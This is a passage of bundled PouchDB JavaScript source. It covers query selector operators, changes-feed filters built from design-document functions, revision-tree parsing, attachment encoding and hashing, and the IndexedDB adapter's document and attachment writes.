docFieldValue) { if (!Array.isArray(docFieldValue)) { return false; } /* istanbul ignore next */ if (docFieldValue.length === 0) { return false; } if (typeof docFieldValue[0] === 'object') { return docFieldValue.every(function (val) { return rowFilter(val, userValue, Object.keys(userValue)); }); } return docFieldValue.every(function (val) { return matchSelector(userValue, doc, parsedField, val); }); }, '$eq': function (doc, userValue, parsedField, docFieldValue) { return fieldIsNotUndefined(docFieldValue) && collate(docFieldValue, userValue) === 0; }, '$gte': function (doc, userValue, parsedField, docFieldValue) { return fieldIsNotUndefined(docFieldValue) && collate(docFieldValue, userValue) >= 0; }, '$gt': function (doc, userValue, parsedField, docFieldValue) { return fieldIsNotUndefined(docFieldValue) && collate(docFieldValue, userValue) > 0; }, '$lte': function (doc, userValue, parsedField, docFieldValue) { return fieldIsNotUndefined(docFieldValue) && collate(docFieldValue, userValue) <= 0; }, '$lt': function (doc, userValue, parsedField, docFieldValue) { return fieldIsNotUndefined(docFieldValue) && collate(docFieldValue, userValue) < 0; }, '$exists': function (doc, userValue, parsedField, docFieldValue) { //a field that is null is still considered to exist if (userValue) { return fieldIsNotUndefined(docFieldValue); } return !fieldIsNotUndefined(docFieldValue); }, '$mod': function (doc, userValue, parsedField, docFieldValue) { return fieldExists(docFieldValue) && modField(docFieldValue, userValue); }, '$ne': function (doc, userValue, parsedField, docFieldValue) { return userValue.every(function (neValue) { return collate(docFieldValue, neValue) !== 0; }); }, '$in': function (doc, userValue, parsedField, docFieldValue) { return fieldExists(docFieldValue) && arrayContainsValue(docFieldValue, userValue); }, '$nin': function (doc, userValue, parsedField, docFieldValue) { return fieldExists(docFieldValue) && !arrayContainsValue(docFieldValue, userValue); }, '$size': function (doc, userValue, parsedField, docFieldValue) { return fieldExists(docFieldValue) && arraySize(docFieldValue, userValue); }, '$all': function (doc, userValue, parsedField, docFieldValue) { return Array.isArray(docFieldValue) && arrayContainsAllValues(docFieldValue, userValue); }, '$regex': function (doc, userValue, parsedField, docFieldValue) { return fieldExists(docFieldValue) && regexMatch(docFieldValue, userValue); }, '$type': function (doc, userValue, parsedField, docFieldValue) { return typeMatch(docFieldValue, userValue); } }; // return true if the given doc matches the supplied selector function matchesSelector(doc, selector) { /* istanbul ignore if */ if (typeof selector !== 'object') { // match the CouchDB error message throw new Error('Selector error: expected a JSON object'); } selector = massageSelector(selector); var row = { 'doc': doc }; var rowsMatched = filterInMemoryFields([row], { 'selector': selector }, Object.keys(selector)); return rowsMatched && rowsMatched.length === 1; } function evalFilter(input) { return scopeEval('"use strict";\nreturn ' + input + ';', {}); } function evalView(input) { var code = [ 'return function(doc) {', ' "use strict";', ' var emitted = false;', ' var emit = function (a, b) {', ' emitted = true;', ' };', ' var view = ' + input + ';', ' view(doc);', ' if (emitted) {', ' return true;', ' }', '};' ].join('\n'); return scopeEval(code, {}); } function validate(opts, callback) { if (opts.selector) { if (opts.filter && opts.filter !== '_selector') { var filterName = typeof opts.filter === 'string' ? opts.filter : 'function'; return callback(new Error('selector invalid for filter "' + filterName + '"')); } } callback(); } function normalize(opts) { if (opts.view && !opts.filter) { opts.filter = '_view'; } if (opts.selector && !opts.filter) { opts.filter = '_selector'; } if (opts.filter && typeof opts.filter === 'string') { if (opts.filter === '_view') { opts.view = normalizeDesignDocFunctionName(opts.view); } else { opts.filter = normalizeDesignDocFunctionName(opts.filter); } } } function shouldFilter(changesHandler, opts) { return opts.filter && typeof opts.filter === 'string' && !opts.doc_ids && !isRemote(changesHandler.db); } function filter(changesHandler, opts) { var callback = opts.complete; if (opts.filter === '_view') { if (!opts.view || typeof opts.view !== 'string') { var err = createError(BAD_REQUEST, '`view` filter parameter not found or invalid.'); return callback(err); } // fetch a view from a design doc, make it behave like a filter var viewName = parseDesignDocFunctionName(opts.view); changesHandler.db.get('_design/' + viewName[0], function (err, ddoc) { /* istanbul ignore if */ if (changesHandler.isCancelled) { return callback(null, {status: 'cancelled'}); } /* istanbul ignore next */ if (err) { return callback(generateErrorFromResponse(err)); } var mapFun = ddoc && ddoc.views && ddoc.views[viewName[1]] && ddoc.views[viewName[1]].map; if (!mapFun) { return callback(createError(MISSING_DOC, (ddoc.views ? 'missing json key: ' + viewName[1] : 'missing json key: views'))); } opts.filter = evalView(mapFun); changesHandler.doChanges(opts); }); } else if (opts.selector) { opts.filter = function (doc) { return matchesSelector(doc, opts.selector); }; changesHandler.doChanges(opts); } else { // fetch a filter from a design doc var filterName = parseDesignDocFunctionName(opts.filter); changesHandler.db.get('_design/' + filterName[0], function (err, ddoc) { /* istanbul ignore if */ if (changesHandler.isCancelled) { return callback(null, {status: 'cancelled'}); } /* istanbul ignore next */ if (err) { return callback(generateErrorFromResponse(err)); } var filterFun = ddoc && ddoc.filters && ddoc.filters[filterName[1]]; if (!filterFun) { return callback(createError(MISSING_DOC, ((ddoc && ddoc.filters) ? 'missing json key: ' + filterName[1] : 'missing json key: filters'))); } opts.filter = evalFilter(filterFun); changesHandler.doChanges(opts); }); } } function applyChangesFilterPlugin(PouchDB) { PouchDB._changesFilterPlugin = { validate: validate, normalize: normalize, shouldFilter: shouldFilter, filter: filter }; } // TODO: remove from pouchdb-core (breaking) PouchDB$5.plugin(debugPouch); // TODO: remove from pouchdb-core (breaking) PouchDB$5.plugin(applyChangesFilterPlugin); PouchDB$5.version = version; function toObject(array) { return array.reduce(function (obj, item) { obj[item] = true; return obj; }, {}); } // List of top level reserved words for doc var reservedWords = toObject([ '_id', '_rev', '_attachments', '_deleted', '_revisions', '_revs_info', '_conflicts', '_deleted_conflicts', '_local_seq', '_rev_tree', //replication documents '_replication_id', '_replication_state', '_replication_state_time', '_replication_state_reason', '_replication_stats', // Specific to Couchbase Sync Gateway '_removed' ]); // List of reserved words that should end up the document var dataWords = toObject([ '_attachments', //replication documents '_replication_id', '_replication_state', '_replication_state_time', '_replication_state_reason', '_replication_stats' ]); function parseRevisionInfo(rev$$1) { if (!/^\d+-./.test(rev$$1)) { return createError(INVALID_REV); } var idx = rev$$1.indexOf('-'); var left = rev$$1.substring(0, idx); var right = rev$$1.substring(idx + 1); return { prefix: parseInt(left, 10), id: right }; } function makeRevTreeFromRevisions(revisions, opts) { var pos = revisions.start - revisions.ids.length + 1; var revisionIds = revisions.ids; var ids = [revisionIds[0], opts, []]; for (var i = 1, len = revisionIds.length; i < len; i++) { ids = [revisionIds[i], {status: 'missing'}, [ids]]; } return [{ pos: pos, ids: ids }]; } // Preprocess documents, parse their revisions, assign an id and a // revision for new writes that are missing them, etc function parseDoc(doc, newEdits) { var nRevNum; var newRevId; var revInfo; var opts = {status: 'available'}; if (doc._deleted) { opts.deleted = true; } if (newEdits) { if (!doc._id) { doc._id = uuid(); } newRevId = rev(); if (doc._rev) { revInfo = parseRevisionInfo(doc._rev); if (revInfo.error) { return revInfo; } doc._rev_tree = [{ pos: revInfo.prefix, ids: [revInfo.id, {status: 'missing'}, [[newRevId, opts, []]]] }]; nRevNum = revInfo.prefix + 1; } else { doc._rev_tree = [{ pos: 1, ids : [newRevId, opts, []] }]; nRevNum = 1; } } else { if (doc._revisions) { doc._rev_tree = makeRevTreeFromRevisions(doc._revisions, opts); nRevNum = doc._revisions.start; newRevId = doc._revisions.ids[0]; } if (!doc._rev_tree) { revInfo = parseRevisionInfo(doc._rev); if (revInfo.error) { return revInfo; } nRevNum = revInfo.prefix; newRevId = revInfo.id; doc._rev_tree = [{ pos: nRevNum, ids: [newRevId, opts, []] }]; } } invalidIdError(doc._id); doc._rev = nRevNum + '-' + newRevId; var result = {metadata : {}, data : {}}; for (var key in doc) { /* istanbul ignore else */ if (Object.prototype.hasOwnProperty.call(doc, key)) { var specialKey = key[0] === '_'; if (specialKey && !reservedWords[key]) { var error = createError(DOC_VALIDATION, key); error.message = DOC_VALIDATION.message + ': ' + key; throw error; } else if (specialKey && !dataWords[key]) { result.metadata[key.slice(1)] = doc[key]; } else { result.data[key] = doc[key]; } } } return result; } var thisAtob = function (str) { return atob(str); }; var thisBtoa = function (str) { return btoa(str); }; // Abstracts constructing a Blob object, so it also works in older // browsers that don't support the native Blob constructor (e.g. // old QtWebKit versions, Android < 4.4). function createBlob(parts, properties) { /* global BlobBuilder,MSBlobBuilder,MozBlobBuilder,WebKitBlobBuilder */ parts = parts || []; properties = properties || {}; try { return new Blob(parts, properties); } catch (e) { if (e.name !== "TypeError") { throw e; } var Builder = typeof BlobBuilder !== 'undefined' ? BlobBuilder : typeof MSBlobBuilder !== 'undefined' ? MSBlobBuilder : typeof MozBlobBuilder !== 'undefined' ? MozBlobBuilder : WebKitBlobBuilder; var builder = new Builder(); for (var i = 0; i < parts.length; i += 1) { builder.append(parts[i]); } return builder.getBlob(properties.type); } } // From http://stackoverflow.com/questions/14967647/ (continues on next line) // encode-decode-image-with-base64-breaks-image (2013-04-21) function binaryStringToArrayBuffer(bin) { var length = bin.length; var buf = new ArrayBuffer(length); var arr = new Uint8Array(buf); for (var i = 0; i < length; i++) { arr[i] = bin.charCodeAt(i); } return buf; } function binStringToBluffer(binString, type) { return createBlob([binaryStringToArrayBuffer(binString)], {type: type}); } function b64ToBluffer(b64, type) { return binStringToBluffer(thisAtob(b64), type); } //Can't find original post, but this is close //http://stackoverflow.com/questions/6965107/ (continues on next line) //converting-between-strings-and-arraybuffers function arrayBufferToBinaryString(buffer) { var binary = ''; var bytes = new Uint8Array(buffer); var length = bytes.byteLength; for (var i = 0; i < length; i++) { binary += String.fromCharCode(bytes[i]); } return binary; } // shim for browsers that don't support it function readAsBinaryString(blob, callback) { if (typeof FileReader === 'undefined') { // fix for Firefox in a web worker // https://bugzilla.mozilla.org/show_bug.cgi?id=901097 return callback(arrayBufferToBinaryString( new FileReaderSync().readAsArrayBuffer(blob))); } var reader = new FileReader(); var hasBinaryString = typeof reader.readAsBinaryString === 'function'; reader.onloadend = function (e) { var result = e.target.result || ''; if (hasBinaryString) { return callback(result); } callback(arrayBufferToBinaryString(result)); }; if (hasBinaryString) { reader.readAsBinaryString(blob); } else { reader.readAsArrayBuffer(blob); } } function blobToBinaryString(blobOrBuffer, callback) { readAsBinaryString(blobOrBuffer, function (bin) { callback(bin); }); } function blobToBase64(blobOrBuffer, callback) { blobToBinaryString(blobOrBuffer, function (base64) { callback(thisBtoa(base64)); }); } // simplified API. universal browser support is assumed function readAsArrayBuffer(blob, callback) { if (typeof FileReader === 'undefined') { // fix for Firefox in a web worker: // https://bugzilla.mozilla.org/show_bug.cgi?id=901097 return callback(new FileReaderSync().readAsArrayBuffer(blob)); } var reader = new FileReader(); reader.onloadend = function (e) { var result = e.target.result || new ArrayBuffer(0); callback(result); }; reader.readAsArrayBuffer(blob); } // this is not used in the browser var setImmediateShim = global.setImmediate || global.setTimeout; var MD5_CHUNK_SIZE = 32768; function rawToBase64(raw) { return thisBtoa(raw); } function sliceBlob(blob, start, end) { if (blob.webkitSlice) { return blob.webkitSlice(start, end); } return blob.slice(start, end); } function appendBlob(buffer, blob, start, end, callback) { if (start > 0 || end < blob.size) { // only slice blob if we really need to blob = sliceBlob(blob, start, end); } readAsArrayBuffer(blob, function (arrayBuffer) { buffer.append(arrayBuffer); callback(); }); } function appendString(buffer, string, start, end, callback) { if (start > 0 || end < string.length) { // only create a substring if we really need to string = string.substring(start, end); } buffer.appendBinary(string); callback(); } function binaryMd5(data, callback) { var inputIsString = typeof data === 'string'; var len = inputIsString ? data.length : data.size; var chunkSize = Math.min(MD5_CHUNK_SIZE, len); var chunks = Math.ceil(len / chunkSize); var currentChunk = 0; var buffer = inputIsString ? new Md5() : new Md5.ArrayBuffer(); var append = inputIsString ? appendString : appendBlob; function next() { setImmediateShim(loadNextChunk); } function done() { var raw = buffer.end(true); var base64 = rawToBase64(raw); callback(base64); buffer.destroy(); } function loadNextChunk() { var start = currentChunk * chunkSize; var end = start + chunkSize; currentChunk++; if (currentChunk < chunks) { append(buffer, data, start, end, next); } else { append(buffer, data, start, end, done); } } loadNextChunk(); } function stringMd5(string) { return Md5.hash(string); } function parseBase64(data) { try { return thisAtob(data); } catch (e) { var err = createError(BAD_ARG, 'Attachment is not a valid base64 string'); return {error: err}; } } function preprocessString(att, blobType, callback) { var asBinary = parseBase64(att.data); if (asBinary.error) { return callback(asBinary.error); } att.length = asBinary.length; if (blobType === 'blob') { att.data = binStringToBluffer(asBinary, att.content_type); } else if (blobType === 'base64') { att.data = thisBtoa(asBinary); } else { // binary att.data = asBinary; } binaryMd5(asBinary, function (result) { att.digest = 'md5-' + result; callback(); }); } function preprocessBlob(att, blobType, callback) { binaryMd5(att.data, function (md5) { att.digest = 'md5-' + md5; // size is for blobs (browser), length is for buffers (node) att.length = att.data.size || att.data.length || 0; if (blobType === 'binary') { blobToBinaryString(att.data, function (binString) { att.data = binString; callback(); }); } else if (blobType === 'base64') { blobToBase64(att.data, function (b64) { att.data = b64; callback(); }); } else { callback(); } }); } function preprocessAttachment(att, blobType, callback) { if (att.stub) { return callback(); } if (typeof att.data === 'string') { // input is a base64 string preprocessString(att, blobType, callback); } else { // input is a blob preprocessBlob(att, blobType, callback); } } function preprocessAttachments(docInfos, blobType, callback) { if (!docInfos.length) { return callback(); } var docv = 0; var overallErr; docInfos.forEach(function (docInfo) { var attachments = docInfo.data && docInfo.data._attachments ? Object.keys(docInfo.data._attachments) : []; var recv = 0; if (!attachments.length) { return done(); } function processedAttachment(err) { overallErr = err; recv++; if (recv === attachments.length) { done(); } } for (var key in docInfo.data._attachments) { if (docInfo.data._attachments.hasOwnProperty(key)) { preprocessAttachment(docInfo.data._attachments[key], blobType, processedAttachment); } } }); function done() { docv++; if (docInfos.length === docv) { if (overallErr) { callback(overallErr); } else { callback(); } } } } function updateDoc(revLimit, prev, docInfo, results, i, cb, writeDoc, newEdits) { if (revExists(prev.rev_tree, docInfo.metadata.rev)) { results[i] = docInfo; return cb(); } // sometimes this is pre-calculated. historically not always var previousWinningRev = prev.winningRev || winningRev(prev); var previouslyDeleted = 'deleted' in prev ? prev.deleted : isDeleted(prev, previousWinningRev); var deleted = 'deleted' in docInfo.metadata ? docInfo.metadata.deleted : isDeleted(docInfo.metadata); var isRoot = /^1-/.test(docInfo.metadata.rev); if (previouslyDeleted && !deleted && newEdits && isRoot) { var newDoc = docInfo.data; newDoc._rev = previousWinningRev; newDoc._id = docInfo.metadata.id; docInfo = parseDoc(newDoc, newEdits); } var merged = merge(prev.rev_tree, docInfo.metadata.rev_tree[0], revLimit); var inConflict = newEdits && (( (previouslyDeleted && deleted && merged.conflicts !== 'new_leaf') || (!previouslyDeleted && merged.conflicts !== 'new_leaf') || (previouslyDeleted && !deleted && merged.conflicts === 'new_branch'))); if (inConflict) { var err = createError(REV_CONFLICT); results[i] = err; return cb(); } var newRev = docInfo.metadata.rev; docInfo.metadata.rev_tree = merged.tree; docInfo.stemmedRevs = merged.stemmedRevs || []; /* istanbul ignore else */ if (prev.rev_map) { docInfo.metadata.rev_map = prev.rev_map; // used only by leveldb } // recalculate var winningRev$$1 = winningRev(docInfo.metadata); var winningRevIsDeleted = isDeleted(docInfo.metadata, winningRev$$1); // calculate the total number of documents that were added/removed, // from the perspective of total_rows/doc_count var delta = (previouslyDeleted === winningRevIsDeleted) ? 0 : previouslyDeleted < winningRevIsDeleted ? -1 : 1; var newRevIsDeleted; if (newRev === winningRev$$1) { // if the new rev is the same as the winning rev, we can reuse that value newRevIsDeleted = winningRevIsDeleted; } else { // if they're not the same, then we need to recalculate newRevIsDeleted = isDeleted(docInfo.metadata, newRev); } writeDoc(docInfo, winningRev$$1, winningRevIsDeleted, newRevIsDeleted, true, delta, i, cb); } function rootIsMissing(docInfo) { return docInfo.metadata.rev_tree[0].ids[1].status === 'missing'; } function processDocs(revLimit, docInfos, api, fetchedDocs, tx, results, writeDoc, opts, overallCallback) { // Default to 1000 locally revLimit = revLimit || 1000; function insertDoc(docInfo, resultsIdx, callback) { // Cant insert new deleted documents var winningRev$$1 = winningRev(docInfo.metadata); var deleted = isDeleted(docInfo.metadata, winningRev$$1); if ('was_delete' in opts && deleted) { results[resultsIdx] = createError(MISSING_DOC, 'deleted'); return callback(); } // 4712 - detect whether a new document was inserted with a _rev var inConflict = newEdits && rootIsMissing(docInfo); if (inConflict) { var err = createError(REV_CONFLICT); results[resultsIdx] = err; return callback(); } var delta = deleted ? 0 : 1; writeDoc(docInfo, winningRev$$1, deleted, deleted, false, delta, resultsIdx, callback); } var newEdits = opts.new_edits; var idsToDocs = new ExportedMap(); var docsDone = 0; var docsToDo = docInfos.length; function checkAllDocsDone() { if (++docsDone === docsToDo && overallCallback) { overallCallback(); } } docInfos.forEach(function (currentDoc, resultsIdx) { if (currentDoc._id && isLocalId(currentDoc._id)) { var fun = currentDoc._deleted ? '_removeLocal' : '_putLocal'; api[fun](currentDoc, {ctx: tx}, function (err, res) { results[resultsIdx] = err || res; checkAllDocsDone(); }); return; } var id = currentDoc.metadata.id; if (idsToDocs.has(id)) { docsToDo--; // duplicate idsToDocs.get(id).push([currentDoc, resultsIdx]); } else { idsToDocs.set(id, [[currentDoc, resultsIdx]]); } }); // in the case of new_edits, the user can provide multiple docs // with the same id. these need to be processed sequentially idsToDocs.forEach(function (docs, id) { var numDone = 0; function docWritten() { if (++numDone < docs.length) { nextDoc(); } else { checkAllDocsDone(); } } function nextDoc() { var value = docs[numDone]; var currentDoc = value[0]; var resultsIdx = value[1]; if (fetchedDocs.has(id)) { updateDoc(revLimit, fetchedDocs.get(id), currentDoc, results, resultsIdx, docWritten, writeDoc, newEdits); } else { // Ensure stemming applies to new writes as well var merged = merge([], currentDoc.metadata.rev_tree[0], revLimit); currentDoc.metadata.rev_tree = merged.tree; currentDoc.stemmedRevs = merged.stemmedRevs || []; insertDoc(currentDoc, resultsIdx, docWritten); } } nextDoc(); }); } // IndexedDB requires a versioned database structure, so we use the // version here to manage migrations. var ADAPTER_VERSION = 5; // The object stores created for each database // DOC_STORE stores the document meta data, its revision history and state // Keyed by document id var DOC_STORE = 'document-store'; // BY_SEQ_STORE stores a particular version of a document, keyed by its // sequence id var BY_SEQ_STORE = 'by-sequence'; // Where we store attachments var ATTACH_STORE = 'attach-store'; // Where we store many-to-many relations // between attachment digests and seqs var ATTACH_AND_SEQ_STORE = 'attach-seq-store'; // Where we store database-wide meta data in a single record // keyed by id: META_STORE var META_STORE = 'meta-store'; // Where we store local documents var LOCAL_STORE = 'local-store'; // Where we detect blob support var DETECT_BLOB_SUPPORT_STORE = 'detect-blob-support'; function safeJsonParse(str) { // This try/catch guards against stack overflow errors. // JSON.parse() is faster than vuvuzela.parse() but vuvuzela // cannot overflow. try { return JSON.parse(str); } catch (e) { /* istanbul ignore next */ return vuvuzela.parse(str); } } function safeJsonStringify(json) { try { return JSON.stringify(json); } catch (e) { /* istanbul ignore next */ return vuvuzela.stringify(json); } } function idbError(callback) { return function (evt) { var message = 'unknown_error'; if (evt.target && evt.target.error) { message = evt.target.error.name || evt.target.error.message; } callback(createError(IDB_ERROR, message, evt.type)); }; } // Unfortunately, the metadata has to be stringified // when it is put into the database, because otherwise // IndexedDB can throw errors for deeply-nested objects. // Originally we just used JSON.parse/JSON.stringify; now // we use this custom vuvuzela library that avoids recursion. // If we could do it all over again, we'd probably use a // format for the revision trees other than JSON. function encodeMetadata(metadata, winningRev, deleted) { return { data: safeJsonStringify(metadata), winningRev: winningRev, deletedOrLocal: deleted ? '1' : '0', seq: metadata.seq, // highest seq for this doc id: metadata.id }; } function decodeMetadata(storedObject) { if (!storedObject) { return null; } var metadata = safeJsonParse(storedObject.data); metadata.winningRev = storedObject.winningRev; metadata.deleted = storedObject.deletedOrLocal === '1'; metadata.seq = storedObject.seq; return metadata; } // read the doc back out from the database. we don't store the // _id or _rev because we already have _doc_id_rev. function decodeDoc(doc) { if (!doc) { return doc; } var idx = doc._doc_id_rev.lastIndexOf(':'); doc._id = doc._doc_id_rev.substring(0, idx - 1); doc._rev = doc._doc_id_rev.substring(idx + 1); delete doc._doc_id_rev; return doc; } // Read a blob from the database, encoding as necessary // and translating from base64 if the IDB doesn't support // native Blobs function readBlobData(body, type, asBlob, callback) { if (asBlob) { if (!body) { callback(createBlob([''], {type: type})); } else if (typeof body !== 'string') { // we have blob support callback(body); } else { // no blob support callback(b64ToBluffer(body, type)); } } else { // as base64 string if (!body) { callback(''); } else if (typeof body !== 'string') { // we have blob support readAsBinaryString(body, function (binary) { callback(thisBtoa(binary)); }); } else { // no blob support callback(body); } } } function fetchAttachmentsIfNecessary(doc, opts, txn, cb) { var attachments = Object.keys(doc._attachments || {}); if (!attachments.length) { return cb && cb(); } var numDone = 0; function checkDone() { if (++numDone === attachments.length && cb) { cb(); } } function fetchAttachment(doc, att) { var attObj = doc._attachments[att]; var digest = attObj.digest; var req = txn.objectStore(ATTACH_STORE).get(digest); req.onsuccess = function (e) { attObj.body = e.target.result.body; checkDone(); }; } attachments.forEach(function (att) { if (opts.attachments && opts.include_docs) { fetchAttachment(doc, att); } else { doc._attachments[att].stub = true; checkDone(); } }); } // IDB-specific postprocessing necessary because // we don't know whether we stored a true Blob or // a base64-encoded string, and if it's a Blob it // needs to be read outside of the transaction context function postProcessAttachments(results, asBlob) { return PouchPromise$1.all(results.map(function (row) { if (row.doc && row.doc._attachments) { var attNames = Object.keys(row.doc._attachments); return PouchPromise$1.all(attNames.map(function (att) { var attObj = row.doc._attachments[att]; if (!('body' in attObj)) { // already processed return; } var body = attObj.body; var type = attObj.content_type; return new PouchPromise$1(function (resolve) { readBlobData(body, type, asBlob, function (data) { row.doc._attachments[att] = $inject_Object_assign( pick(attObj, ['digest', 'content_type']), {data: data} ); resolve(); }); }); })); } })); } function compactRevs(revs, docId, txn) { var possiblyOrphanedDigests = []; var seqStore = txn.objectStore(BY_SEQ_STORE); var attStore = txn.objectStore(ATTACH_STORE); var attAndSeqStore = txn.objectStore(ATTACH_AND_SEQ_STORE); var count = revs.length; function checkDone() { count--; if (!count) { // done processing all revs deleteOrphanedAttachments(); } } function deleteOrphanedAttachments() { if (!possiblyOrphanedDigests.length) { return; } possiblyOrphanedDigests.forEach(function (digest) { var countReq = attAndSeqStore.index('digestSeq').count( IDBKeyRange.bound( digest + '::', digest + '::\uffff', false, false)); countReq.onsuccess = function (e) { var count = e.target.result; if (!count) { // orphaned attStore.delete(digest); } }; }); } revs.forEach(function (rev$$1) { var index = seqStore.index('_doc_id_rev'); var key = docId + "::" + rev$$1; index.getKey(key).onsuccess = function (e) { var seq = e.target.result; if (typeof seq !== 'number') { return checkDone(); } seqStore.delete(seq); var cursor = attAndSeqStore.index('seq') .openCursor(IDBKeyRange.only(seq)); cursor.onsuccess = function (event) { var cursor = event.target.result; if (cursor) { var digest = cursor.value.digestSeq.split('::')[0]; possiblyOrphanedDigests.push(digest); attAndSeqStore.delete(cursor.primaryKey); cursor.continue(); } else { // done checkDone(); } }; }; }); } function openTransactionSafely(idb, stores, mode) { try { return { txn: idb.transaction(stores, mode) }; } catch (err) { return { error: err }; } } var changesHandler = new Changes(); function idbBulkDocs(dbOpts, req, opts, api, idb, callback) { var docInfos = req.docs; var txn; var docStore; var bySeqStore; var attachStore; var attachAndSeqStore; var metaStore; var docInfoError; var metaDoc; for (var i = 0, len = docInfos.length; i < len; i++) { var doc = docInfos[i]; if (doc._id && isLocalId(doc._id)) { continue; } doc = docInfos[i] = parseDoc(doc, opts.new_edits); if (doc.error && !docInfoError) { docInfoError = doc; } } if (docInfoError) { return callback(docInfoError); } var allDocsProcessed = false; var docCountDelta = 0; var results = new Array(docInfos.length); var fetchedDocs = new ExportedMap(); var preconditionErrored = false; var blobType = api._meta.blobSupport ? 'blob' : 'base64'; preprocessAttachments(docInfos, blobType, function (err) { if (err) { return callback(err); } startTransaction(); }); function startTransaction() { var stores = [ DOC_STORE, BY_SEQ_STORE, ATTACH_STORE, LOCAL_STORE, ATTACH_AND_SEQ_STORE, META_STORE ]; var txnResult = openTransactionSafely(idb, stores, 'readwrite'); if (txnResult.error) { return callback(txnResult.error); } txn = txnResult.txn; txn.onabort = idbError(callback); txn.ontimeout = idbError(callback); txn.oncomplete = complete; docStore = txn.objectStore(DOC_STORE); bySeqStore = txn.objectStore(BY_SEQ_STORE); attachStore = txn.objectStore(ATTACH_STORE); attachAndSeqStore = txn.objectStore(ATTACH_AND_SEQ_STORE); metaStore = txn.objectStore(META_STORE); metaStore.get(META_STORE).onsuccess = function (e) { metaDoc = e.target.result; updateDocCountIfReady(); }; verifyAttachments(function (err) { if (err) { preconditionErrored = true; return callback(err); } fetchExistingDocs(); }); } function onAllDocsProcessed() { allDocsProcessed = true; updateDocCountIfReady(); } function idbProcessDocs() { processDocs(dbOpts.revs_limit, docInfos, api, fetchedDocs, txn, results, writeDoc, opts, onAllDocsProcessed); } function updateDocCountIfReady() { if (!metaDoc || !allDocsProcessed) { return; } // caching the docCount saves a lot of time in allDocs() and // info(), which is why we go to all the trouble of doing this metaDoc.docCount += docCountDelta; metaStore.put(metaDoc); } function fetchExistingDocs() { if (!docInfos.length) { return; } var numFetched = 0; function checkDone() { if (++numFetched === docInfos.length) { idbProcessDocs(); } } function readMetadata(event) { var metadata = decodeMetadata(event.target.result); if (metadata) { fetchedDocs.set(metadata.id, metadata); } checkDone(); } for (var i = 0, len = docInfos.length; i < len; i++) { var docInfo = docInfos[i]; if (docInfo._id && isLocalId(docInfo._id)) { checkDone(); // skip local docs continue; } var req = docStore.get(docInfo.metadata.id); req.onsuccess = readMetadata; } } function complete() { if (preconditionErrored) { return; } changesHandler.notify(api._meta.name); callback(null, results); } function verifyAttachment(digest, callback) { var req = attachStore.get(digest); req.onsuccess = function (e) { if (!e.target.result) { var err = createError(MISSING_STUB, 'unknown stub attachment with digest ' + digest); err.status = 412; callback(err); } else { callback(); } }; } function verifyAttachments(finish) { var digests = []; docInfos.forEach(function (docInfo) { if (docInfo.data && docInfo.data._attachments) { Object.keys(docInfo.data._attachments).forEach(function (filename) { var att = docInfo.data._attachments[filename]; if (att.stub) { digests.push(att.digest); } }); } }); if (!digests.length) { return finish(); } var numDone = 0; var err; function checkDone() { if (++numDone === digests.length) { finish(err); } } digests.forEach(function (digest) { verifyAttachment(digest, function (attErr) { if (attErr && !err) { err = attErr; } checkDone(); }); }); } function writeDoc(docInfo, winningRev$$1, winningRevIsDeleted, newRevIsDeleted, isUpdate, delta, resultsIdx, callback) { docInfo.metadata.winningRev = winningRev$$1; docInfo.metadata.deleted = winningRevIsDeleted; var doc = docInfo.data; doc._id = docInfo.metadata.id; doc._rev = docInfo.metadata.rev; if (newRevIsDeleted) { doc._deleted = true; } var hasAttachments = doc._attachments && Object.keys(doc._attachments).length; if (hasAttachments) { return writeAttachments(docInfo, winningRev$$1, winningRevIsDeleted, isUpdate, resultsIdx, callback); } docCountDelta += delta; updateDocCountIfReady(); finishDoc(docInfo, winningRev$$1, winningRevIsDeleted, isUpdate, resultsIdx, callback); } function finishDoc(docInfo, winningRev$$1, winningRevIsDeleted, isUpdate, resultsIdx, callback) { var doc = docInfo.data; var metadata = docInfo.metadata; doc._doc_id_rev = metadata.id + '::' + metadata.rev; delete doc._id; delete doc._rev; function afterPutDoc(e) { var revsToDelete = docInfo.stemmedRevs || []; if (isUpdate && api.auto_compaction) { revsToDelete = revsToDelete.concat(compactTree(docInfo.metadata)); } if (revsToDelete && revsToDelete.length) { compactRevs(revsToDelete, docInfo.metadata.id, txn); } metadata.seq = e.target.result; // Current _rev is calculated from _rev_tree on read // delete metadata.rev; var metadataToStore = encodeMetadata(metadata, winningRev$$1, winningRevIsDeleted); var metaDataReq = docStore.put(metadataToStore); metaDataReq.onsuccess = afterPutMetadata; } function afterPutDocError(e) { // ConstraintError, need to update, not put (see #1638 for details) e.preventDefault(); // avoid transaction abort e.stopPropagation(); // avoid transaction onerror var index = bySeqStore.index('_doc_id_rev'); var getKeyReq = index.getKey(doc._doc_id_rev); getKeyReq.onsuccess = function (e) { var putReq = bySeqStore.put(doc, e.target.result); putReq.onsuccess = afterPutDoc; }; } function afterPutMetadata() { results[resultsIdx] = { ok: true, id: metadata.id, rev: metadata.rev }; fetchedDocs.set(docInfo.metadata.id, docInfo.metadata); insertAttachmentMappings(docInfo, metadata.seq, callback); } var putReq = bySeqStore.put(doc); putReq.onsuccess = afterPutDoc; putReq.onerror = afterPutDocError; } function writeAttachments(docInfo, winningRev$$1, winningRevIsDeleted, isUpdate, resultsIdx, callback) { var doc = docInfo.data; var numDone = 0; var attachments = Object.keys(doc._attachments); function collectResults() { if (numDone === attachments.length) { finishDoc(docInfo, winningRev$$1, winningRevIsDeleted, isUpdate, resultsIdx, callback); } } function attachmentSaved() { numDone++; collectResults(); } attachments.forEach(function (key) { var att = docInfo.data._attachments[key]; if (!att.stub) { var data = att.data; delete att.data; att.revpos = parseInt(winningRev$$1, 10); var digest = att.digest; saveAttachment(digest, data, attachmentSaved); } else { numDone++; collectResults(); } }); } // map seqs to attachment digests, which // we will need later during compaction function insertAttachmentMappings(docInfo, seq, callback) { var attsAdded = 0; var attsToAdd = Object.keys(docInfo.data._attachments || {}); if (!attsToAdd.length) { return callback(); } function checkDone() { if (++attsAdded === attsToAdd.length) { callback(); } } function add(att) { var digest = docInfo.data._attachments[att].digest; var req = attachAndSeqStore.put({ seq: seq, digestSeq: digest + '::' + seq }); req.onsuccess = checkDone; req.onerror = function (e) { // this callback is for a constaint error, which we ignore // because this docid/rev has already been associated with // the digest (e.g. when new_edits == false) e.preventDefault(); // avoid transaction abort e.stopPropagation(); // avoid transaction onerror checkDone(); }; } for (var i = 0; i < attsToAdd.length; i++) { add(attsToAdd[i]); // do in parallel } } function saveAttachment(digest, data, callback) { var getKeyReq = attachStore.count(digest); getKeyReq.onsuccess = function (e) { var count = e.target.result; if (count) { return callback(); // already exists } var newAtt = { digest: digest, body: data }; 